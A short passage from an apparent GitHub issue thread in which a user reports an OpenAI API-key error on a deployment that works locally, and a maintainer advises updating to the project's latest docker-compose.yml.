keys in the OpenAI web interface. See https://platform.openai.com/account/api-keys for details.

我目前分析,好像是系统没有读取我的配置信息。 roles.json文件因为没有变动,我就没有提供上来了。因为本地和测试服务器都是正常的。 麻烦帮我看看是什么原因。谢谢!

lewangdev commented 11 months ago

最新的镜像配置有变动,用项目里最新的 docker-compose.yml 来修改一下